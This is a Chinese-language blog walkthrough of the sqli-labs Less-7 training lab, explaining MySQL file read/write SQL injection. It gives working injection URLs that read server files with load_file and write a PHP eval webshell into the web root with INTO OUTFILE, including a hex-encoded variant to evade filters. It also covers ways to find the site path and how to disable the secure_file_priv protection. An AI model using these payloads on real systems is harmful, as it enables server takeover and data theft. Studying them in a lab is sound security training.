基於sqli-labs Less-7 的sql高權讀寫注入詳解

星海河發表於2024-09-19

1. MySQL高許可權讀寫簡介

1.1 前置知識

資料庫的高權使用者對伺服器上的檔案進行讀取寫入操作,從而可以進行寫入一句話木馬來獲得伺服器許可權或者讀取伺服器上的配置型檔案等注入行為。

select load_file ('d:/w.txt'); # 讀取w.txt
select 'xxx' into outfile 'd:/1.txt'; # 將xxx寫入1.txt,1.txt不存在則自動建立檔案

1.2 讀寫注入示例

欄位數判斷和注入點判斷略,作資訊收集看使用者名稱是root後可以嘗試高權注入

/?id=1 union select 1,load_file ('d:/w.txt'),3
/?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'

注意寫路徑的時候\的時候要寫兩個,前一個為跳脫字元,作用是避免被認為是換行而報錯,或者直接寫/即可。

1.3 寫入後門程式碼

給出寫入後門程式碼示例

/?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '當前網站路徑/1.php'

如果存在過濾,可以把<?php eval($_POST[x])?>用hex編碼一下,不用單引號,即:

/?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '當前網站路徑/1.php'

1.4 路徑獲取

load_fileoutfile函式都需要絕對路徑,獲取網站絕對路徑的方法有以下幾種:

  1. load_file常用路徑直接讀取配置檔案,得到網站路徑
  2. 掃描網站目錄,嘗試尋找遺留/phpinfo.php的檔案
  3. 輸入錯誤資訊,看是否會報錯返回路徑
  4. 爆破路徑

2. 黑盒測試

2.1 判斷閉合型別

判斷閉合型別為((''))

/?id=1' and '1'='1  You are in
/?id=1' --+ 報錯

/?id=1') and ('1')=('1 You are in
/?id=1') --+ 報錯

/?id=1')) and (('1'))=(('1 You are in
/?id=1')) --+ You are in

2.2 寫入後門程式碼

寫入後門程式碼
注意

  • 如果你的靶場搭在物理機上,後門程式碼會被windows掃描並刪除,並不是上傳失敗
  • 如果上傳失敗,可能是secure_file_priv配置問題,請參考第三模組
/?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+

之後利用蟻劍連線後門即可

3. secure_file_priv限制

3.1 secure_file_priv簡介

高版本的MYSQL新增了一個新的特性secure_file_privsecure_file_priv 是 MySQL 中用於限制檔案操作的系統變數,主要用於控制和限制資料庫伺服器對檔案的訪問許可權。具體來說,它限制 LOAD DATA INFILESELECT INTO OUTFILE 等語句的操作範圍,確保資料庫檔案操作只能在特定的目錄中進行,進而增強系統的安全性。

linux
/etc/my.cnf
	[mysqld]
	secure_file_priv=

win
my.ini
	[mysqld]
	secure_file_priv=
1. secure_file_priv=""                          代表對檔案讀寫沒有限制
2. secure_file_priv="NULL"                      代表不能進行檔案讀寫
3. secure_file_priv="d :/phpstudy /mysql/data"  代表只能對該路徑下檔案進行讀寫

3.2 修改secure_file_priv配置

在做Less-7時,出現讀寫注入失敗的問題,可能就是由於secure_file_priv禁止了讀寫
想要知道你的secure_file_priv設定,執行以下sql語句:

SHOW VARIABLES LIKE 'secure_file_priv';

若需要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini[mysqld]模組將它修改為無限制,如果沒有secure_file_priv項,可以自行寫入。完成後重啟mysql服務,應該可以正常解題了。

宇宙安全宣告

本部落格所提供的內容僅供學習與交流目的,所有文章、程式碼及相關資料僅用於提升網路安全知識水平。博主不對任何人因使用部落格中提到的技術或工具而產生的任何後果負責。

相關文章